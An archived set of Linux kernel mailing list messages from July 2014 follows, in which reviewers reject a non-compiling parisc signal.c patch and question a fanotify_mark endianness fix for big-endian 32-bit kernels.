Original-Received: from filter.hostedemail.com (ff-bigip1 [10.5.19.254])
	by smtprelay05.hostedemail.com (Postfix) with ESMTP id 1AD5426919C;
	Sat,  5 Jul 2014 03:58:26 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-Spam-Summary: 20,1.5,0,,d41d8cd98f00b204,joe@perches.com,:::::::::::::::,RULES_HIT:41:355:379:541:599:968:973:988:989:1260:1261:1277:1311:1313:1314:1345:1359:1373:1437:1515:1516:1518:1534:1539:1593:1594:1711:1714:1730:1747:1777:1792:2198:2199:2328:2393:2559:2562:2731:2828:3138:3139:3140:3141:3142:3351:3622:3865:3867:3870:3871:3872:3873:4321:5007:7652:8660:10004:10400:10848:11026:11232:11658:11914:12043:12296:12517:12519:12740:13069:13148:13230:13311:13357:21080,0,RBL:none,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:fn,MSBL:0,DNSBL:none,Custom_rules:0:0:0
X-HE-Tag: stick19_66869ea585d08
X-Filterd-Recvd-Size: 1601
Original-Received: from [10.0.0.61] (cpe-23-242-95-217.socal.res.rr.com [23.242.95.217])
	(Authenticated sender: joe@perches.com)
	by omf05.hostedemail.com (Postfix) with ESMTPA;
	Sat,  5 Jul 2014 03:58:24 +0000 (UTC)
In-Reply-To: <1404530457-4739-1-git-send-email-xerofoify@gmail.com>
X-Mailer: Evolution 3.10.4-0ubuntu1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1739566 gmane.linux.ports.parisc:5908
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1739566>

On Fri, 2014-07-04 at 23:20 -0400, Nicholas Krause wrote:
> This removes the sizeof(frame) from the call to get_sigframe on line
> 243 in order to fix the call to this function as the sizeof in not
> needed to call this function.

How did you compile this?

arch/parisc/kernel/signal.c:178:get_sigframe(struct k_sigaction *ka, unsigned long sp, size_t frame_size)

> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
[]
> @@ -240,8 +240,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
[]
> -	/*FIXME: frame_size parameter is unused, remove it. */
> -	frame = get_sigframe(ka, usp, sizeof(*frame));
> +	frame = get_sigframe(ka, usp)

Nichola


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Krause <xerofoify@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove sizeof(frame) from call to get_sigframe
Date: Sat, 5 Jul 2014 00:01:20 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <CAPDOMVi+LZ_rMWwmvCBK_gwJw2SAZGeq+PtDu4T5Y+DF2iQxug@mail.gmail.com>
References: <1404530457-4739-1-git-send-email-xerofoify@gmail.com>
	<1404532702.6384.36.camel@joe-AO725>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1404532888 22941 80.91.229.3 (5 Jul 2014 04:01:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Jul 2014 04:01:28 +0000 (UTC)
Cc: jejb@parisc-linux.org, deller@gmx.de, tiwai@suse.de,
	Jiri Kosina <jkosina@suse.cz>, dave.anglin@bell.net,
	linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Joe Perches <joe@perches.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 05 06:01:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X3HAA-000250-4R
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 Jul 2014 06:01:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751280AbaGEEBV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Jul 2014 00:01:21 -0400
Original-Received: from mail-vc0-f178.google.com ([209.85.220.178]:42970 "EHLO
	mail-vc0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751039AbaGEEBV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Jul 2014 00:01:21 -0400
Original-Received: by mail-vc0-f178.google.com with SMTP id ij19so2118827vcb.37
        for <multiple recipients>; Fri, 04 Jul 2014 21:01:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=PumelOU+OV1WOTtV9UzV/S7Cx59FgiWWGF9j3t0TZok=;
        b=GU5k9BCGer/YEiNgk0ruBaC7jfpNbmqjlV1ITOvH/Zhp39vIbxtHYJdOaveCixFCpY
         cwnrw4EPrVUQ2KWDrq8JblllNJaaeYPLvHH9TxclmOwB+j+ximSSeZYTUud+ZBHOTw9r
         qo7pFFjOf/VnouQuMkBCPDr838znaPxT/IN2p6fZykIMyRLWzYjxU3BPJjhzNR3P36aN
         JwTQqsd8uRPtiOPTWnmCL9l+bxEmqvrCsUrlUTuhFTiUXzHE2xQmynkwvsm+cDOW7MXp
         85qeR9e+tdobNO215VwSA/o5OX5wej7Z+8wioG2oTtO8mIeovqHarmMGhvtyGYxAk+dD
         hPtQ==
X-Received: by 10.58.30.35 with SMTP id p3mr12852260veh.25.1404532880177; Fri,
 04 Jul 2014 21:01:20 -0700 (PDT)
Original-Received: by 10.221.53.5 with HTTP; Fri, 4 Jul 2014 21:01:20 -0700 (PDT)
In-Reply-To: <1404532702.6384.36.camel@joe-AO725>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5909 gmane.linux.kernel:1739567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5909>

I didn't compile check it seems to be a valid line after reading this.
I will resend a new patch removing the FIX ME line.
Sorry Nick

On Fri, Jul 4, 2014 at 11:58 PM, Joe Perches <joe@perches.com> wrote:
> On Fri, 2014-07-04 at 23:20 -0400, Nicholas Krause wrote:
>> This removes the sizeof(frame) from the call to get_sigframe on line
>> 243 in order to fix the call to this function as the sizeof in not
>> needed to call this function.
>
> How did you compile this?
>
> arch/parisc/kernel/signal.c:178:get_sigframe(struct k_sigaction *ka, unsigned long sp, size_t frame_size)
>
>> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> []
>> @@ -240,8 +240,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
> []
>> -     /*FIXME: frame_size parameter is unused, remove it. */
>> -     frame = get_sigframe(ka, usp, sizeof(*frame));
>> +     frame = get_sigframe(ka, usp)
>
> Nichola
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Krause <xerofoify@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: Remove FIXME line in signal.c
Date: Sat,  5 Jul 2014 00:14:42 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <1404533682-6747-1-git-send-email-xerofoify@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1404533744 29796 80.91.229.3 (5 Jul 2014 04:15:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Jul 2014 04:15:44 +0000 (UTC)
Cc: deller@gmx.de, joe@perches.com, dave.anglin@bell.net,
	jkosina@suse.cz, tiwai@suse.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jul 05 06:15:36 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1X3HNw-0000Pv-0p
	for glk-linux-kernel-3@plane.gmane.org; Sat, 05 Jul 2014 06:15:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752651AbaGEEOs (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 5 Jul 2014 00:14:48 -0400
Original-Received: from mail-ie0-f176.google.com ([209.85.223.176]:49672 "EHLO
	mail-ie0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750934AbaGEEOq (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 5 Jul 2014 00:14:46 -0400
Original-Received: by mail-ie0-f176.google.com with SMTP id at1so2067116iec.35
        for <multiple recipients>; Fri, 04 Jul 2014 21:14:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=OCHW0BUYWqGtJ4Yumcs61azRPT9xTnUzKBjDeR6Eatk=;
        b=jf5IUg3/TKF0HcEkTbBNXLBxfyeY/OMVPSMsymaqyW21rXKFM5NdYnaME+Ip/i+yLA
         +1jbSwjECyyHOhDkNrMhuPFF5QIZ0Ot8lZ+s2As4bLiSTt9KLHxIPzzy+oO28OxNjHrd
         /d2jm3Bbhba13O3/CfNahVcUu6UQXpADsXBQIhn5eNIpKRRynTfot0uPPlNQmGqpiEIa
         DOL5fpQ82gFKP7OhC/jeM8pfHsP6yEQrdPhy+Q+/IdMj5BhdTFMMbgUjpn5D4HbGhyw5
         BGYYr3BK6UshEQF6q37MvqYkdFltg5F0/pTRIavsz5dGod1I0SgVAlfoEKQuP/0cD0FH
         UGfA==
X-Received: by 10.42.67.203 with SMTP id u11mr20215271ici.20.1404533686150;
        Fri, 04 Jul 2014 21:14:46 -0700 (PDT)
Original-Received: from nick-System-Product-Name.phub.net.cable.rogers.com (CPE0026f3330aca-CM0026f3330ac6.cpe.net.cable.rogers.com. [99.232.64.167])
        by mx.google.com with ESMTPSA id ri8sm68236184igc.0.2014.07.04.21.14.45
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 04 Jul 2014 21:14:45 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1739568 gmane.linux.ports.parisc:5910
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1739568>

This frame removes a fix me line in signal.c that is no longer
needed as function call is correct.

Signed-off-by: Nicholas Krause <xerofoify@gmail.com>
---
 arch/parisc/kernel/signal.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 1cba8f2..1d550b5 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -240,7 +240,6 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #endif
 	
 	usp = (regs->gr[30] & ~(0x01UL));
-	/*FIXME: frame_size parameter is unused, remove it. */
 	frame = get_sigframe(ka, usp, sizeof(*frame));
 
 	DBG(1,"SETUP_RT_FRAME: START\n");
-- 
1.9.1


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Heiko Carstens <heiko.carstens@de.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix fanotify_mark() breakage on big endian 32bit kernel
Date: Sun, 6 Jul 2014 11:15:30 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <20140706091530.GA3589@osiris>
References: <20140704151235.GA22454@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1404638164 31416 80.91.229.3 (6 Jul 2014 09:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Jul 2014 09:16:04 +0000 (UTC)
Cc: Eric Paris <eparis@redhat.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	Heinrich Schuchardt <xypron.glpk@gmx.de>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 06 11:15:56 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X3iY8-0000mw-AS
	for glpp-linux-parisc@plane.gmane.org; Sun, 06 Jul 2014 11:15:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750868AbaGFJPm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Jul 2014 05:15:42 -0400
Original-Received: from e06smtp13.uk.ibm.com ([195.75.94.109]:37767 "EHLO
	e06smtp13.uk.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750736AbaGFJPk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Jul 2014 05:15:40 -0400
Original-Received: from /spool/local
	by e06smtp13.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <heiko.carstens@de.ibm.com>;
	Sun, 6 Jul 2014 10:15:38 +0100
Original-Received: from d06dlp01.portsmouth.uk.ibm.com (9.149.20.13)
	by e06smtp13.uk.ibm.com (192.168.101.143) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sun, 6 Jul 2014 10:15:37 +0100
Original-Received: from b06cxnps3074.portsmouth.uk.ibm.com (d06relay09.portsmouth.uk.ibm.com [9.149.109.194])
	by d06dlp01.portsmouth.uk.ibm.com (Postfix) with ESMTP id B5A7717D804E;
	Sun,  6 Jul 2014 10:17:09 +0100 (BST)
Original-Received: from d06av04.portsmouth.uk.ibm.com (d06av04.portsmouth.uk.ibm.com [9.149.37.216])
	by b06cxnps3074.portsmouth.uk.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s669FbOZ35979404;
	Sun, 6 Jul 2014 09:15:37 GMT
Original-Received: from d06av04.portsmouth.uk.ibm.com (localhost [127.0.0.1])
	by d06av04.portsmouth.uk.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id s669Fati019341;
	Sun, 6 Jul 2014 03:15:37 -0600
Original-Received: from localhost (icon-9-164-143-59.megacenter.de.ibm.com [9.164.143.59])
	by d06av04.portsmouth.uk.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id s669FZgU019295;
	Sun, 6 Jul 2014 03:15:35 -0600
Content-Disposition: inline
In-Reply-To: <20140704151235.GA22454@ls3530.dhcp.wdf.sap.corp>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14070609-2966-0000-0000-0000006EFBFD
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5911 gmane.linux.kernel:1739859
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5911>

On Fri, Jul 04, 2014 at 05:12:35PM +0200, Helge Deller wrote:
> This patch affects big endian architectures only.
> 
> On those with 32bit userspace and 64bit kernel (CONFIG_COMPAT=y) the
> 64bit mask parameter is correctly constructed out of two 32bit values in
> the compat_fanotify_mark() function and then passed as 64bit parameter
> to the fanotify_mark() syscall.
> 
> But for the CONFIG_COMPAT=n case (32bit kernel & userspace),
> compat_fanotify_mark() isn't used and the fanotify_mark syscall implementation
> is used directly. In that case the upper and lower 32 bits of the 64bit mask
> parameter is still swapped on big endian machines and thus leads to
> fanotify_mark failing with -EINVAL.

Why do you think upper and lower 32 bits are swapped on big endian machines?
At least an s390 the C ABI defines that 64 bit values are split into an
even odd register pair, where the most significant bits are in the even numbered
register.

So for sys_fanotify_mark everything is fine on s390, and probably most other
architectures as well. Having a 64 bit syscall parameter indeed does work,
if all the architecture specific details have been correctly considered.

> Here is a strace of the same 32bit executable (fanotify01 testcase from LTP):
> 
> On a 64bit kernel it suceeds:
> syscall_322(0, 0, 0x3, 0x3, 0x266c8, 0x1) = 0x3
> syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = 0
> 
> On a 32bit kernel it fails:
> syscall_322(0, 0, 0x3, 0x3, 0x266c8, 0x1) = 0x3
> syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = -1 (errno 22)

So "0" and "0x3b" together should be the 64 bit "0x3b" mask, this looks just
fine.

> diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c
> index 3fdc8a3..374261c 100644
> --- a/fs/notify/fanotify/fanotify_user.c
> +++ b/fs/notify/fanotify/fanotify_user.c
> @@ -787,6 +787,10 @@ SYSCALL_DEFINE5(fanotify_mark, int, fanotify_fd, unsigned int, flags,
>  	struct path path;
>  	int ret;
> 
> +#if defined(__BIG_ENDIAN) && !defined(CONFIG_64BIT)
> +	mask = (mask << 32) | (mask >> 32);
> +#endif
> +
>  	pr_debug("%s: fanotify_fd=%d flags=%x dfd=%d pathname=%p mask=%llx\n",
>  		 __func__, fanotify_fd, flags, dfd, pathname, mask);

Did you activate this pr_debug()? I'm really wondering what the output looks
like on your machine.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix fanotify_mark() breakage on big endian 32bit kernel
Date: Sun, 6 Jul 2014 11:08:41 -0400
Lines: 44
Approved: news@gmane.org
Message-ID: <BLU436-SMTP16549AF626A4BCCDD6D82097020@phx.gbl>
References: <20140704151235.GA22454@ls3530.dhcp.wdf.sap.corp> <20140706091530.GA3589@osiris>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1404659656 4295 80.91.229.3 (6 Jul 2014 15:14:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Jul 2014 15:14:16 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Eric Paris <eparis@redhat.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	Heinrich Schuchardt <xypron.glpk@gmx.de>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Heiko Carstens <heiko.carstens@de.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 06 17:14:08 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X3o8m-0003Ut-6h
	for glpp-linux-parisc@plane.gmane.org; Sun, 06 Jul 2014 17:14:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751516AbaGFPOH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Jul 2014 11:14:07 -0400
Original-Received: from blu004-omc1s9.hotmail.com ([65.55.116.20]:57643 "EHLO
	BLU004-OMC1S9.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751515AbaGFPOG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Jul 2014 11:14:06 -0400
X-Greylist: delayed 307 seconds by postgrey-1.27 at vger.kernel.org; Sun, 06 Jul 2014 11:14:06 EDT
Original-Received: from BLU436-SMTP16 ([65.55.116.9]) by BLU004-OMC1S9.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Sun, 6 Jul 2014 08:08:58 -0700
X-TMN: [w4zxAIC/YikUdIUXguZYgQHS8r0GULkb]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Sun, 6 Jul 2014 08:08:57 -0700
In-Reply-To: <20140706091530.GA3589@osiris>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 06 Jul 2014 15:08:57.0149 (UTC) FILETIME=[3574C6D0:01CF992C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5912 gmane.linux.kernel:1739886
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5912>

On 6-Jul-14, at 5:15 AM, Heiko Carstens wrote:

>> But for the CONFIG_COMPAT=n case (32bit kernel & userspace),
>> compat_fanotify_mark() isn't used and the fanotify_mark syscall  
>> implementation
>> is used directly. In that case the upper and lower 32 bits of the  
>> 64bit mask
>> parameter is still swapped on big endian machines and thus leads to
>> fanotify_mark failing with -EINVAL.
>
> Why do you think upper and lower 32 bits are swapped on big endian  
> machines?
> At least an s390 the C ABI defines that 64 bit values are split into  
> an
> even odd register pair, where the most significant bits are in the  
> even numbered
> register.


On hppa, there is no specific rule as to which registers are used to  
hold 64-bit integer values
on 32-bit machines except for the first two call arguments which are  
passed in registers.
For example, r25 and r26 contain the first argument and the most  
significant bits are in r25
and the least significant bits in r26..

In GCC, we typically have an odd even register pair to hold 64-bit  
values as register
r0 is not usable.

The rules are different for float values.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: One Thousand Gnomes <gnomes@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove sizeof(frame) from call to get_sigframe
Date: Mon, 7 Jul 2014 13:55:54 +0100
Organization: Intel Corporation
Lines: 25
Approved: news@gmane.org
Message-ID: <20140707135554.1c52342c@alan.etchedpixels.co.uk>
References: <1404530457-4739-1-git-send-email-xerofoify@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1404737824 8611 80.91.229.3 (7 Jul 2014 12:57:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Jul 2014 12:57:04 +0000 (UTC)
Cc: jejb@parisc-linux.org, deller@gmx.de, tiwai@suse.de,
	jkosina@suse.cz, dave.anglin@bell.net, joe@perches.com,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Nicholas Krause <xerofoify@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 07 14:56:55 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X48TW-0004AG-5T
	for glpp-linux-parisc@plane.gmane.org; Mon, 07 Jul 2014 14:56:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753011AbaGGM4x (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jul 2014 08:56:53 -0400
Original-Received: from lxorguk.ukuu.org.uk ([81.2.110.251]:35798 "EHLO
	lxorguk.ukuu.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753006AbaGGM4w (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jul 2014 08:56:52 -0400
Original-Received: from alan.etchedpixels.co.uk (proxy [81.2.110.250])
	by lxorguk.ukuu.org.uk (8.14.7/8.14.1) with ESMTP id s67Crt40007667;
	Mon, 7 Jul 2014 13:54:00 +0100
In-Reply-To: <1404530457-4739-1-git-send-email-xerofoify@gmail.com>
X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5913 gmane.linux.kernel:1740319
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5913>

On Fri,  4 Jul 2014 23:20:57 -0400
Nicholas Krause <xerofoify@gmail.com> wrote:

> This removes the sizeof(frame) from the call to get_sigframe on line
> 243 in order to fix the call to this function as the sizeof in not
> needed to call this function.

If you are going to submit patches then

- actually read what you are submitting

- check it actually compiles

- run it on the system in question and verify your changed code paths are
  used

*then* consider submitting it, otherwise all you are doing is wasting
people's time.

Alan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove sizeof(frame) from call to get_sigframe
Date: Mon, 7 Jul 2014 15:05:50 +0200 (CEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.00.1407071504380.1655@pobox.suse.cz>
References: <1404530457-4739-1-git-send-email-xerofoify@gmail.com> <20140707135554.1c52342c@alan.etchedpixels.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1404738364 15320 80.91.229.3 (7 Jul 2014 13:06:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Jul 2014 13:06:04 +0000 (UTC)
Cc: Nicholas Krause <xerofoify@gmail.com>, jejb@parisc-linux.org,
	deller@gmx.de, tiwai@suse.de, dave.anglin@bell.net,
	joe@perches.com, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: One Thousand Gnomes <gnomes@lxorguk.ukuu.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 07 15:05:56 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X48cE-0004MT-Fj
	for glpp-linux-parisc@plane.gmane.org; Mon, 07 Jul 2014 15:05:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752953AbaGGNFx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jul 2014 09:05:53 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:59297 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752708AbaGGNFx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jul 2014 09:05:53 -0400
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 8921EABE3;
	Mon,  7 Jul 2014 13:05:51 +0000 (UTC)
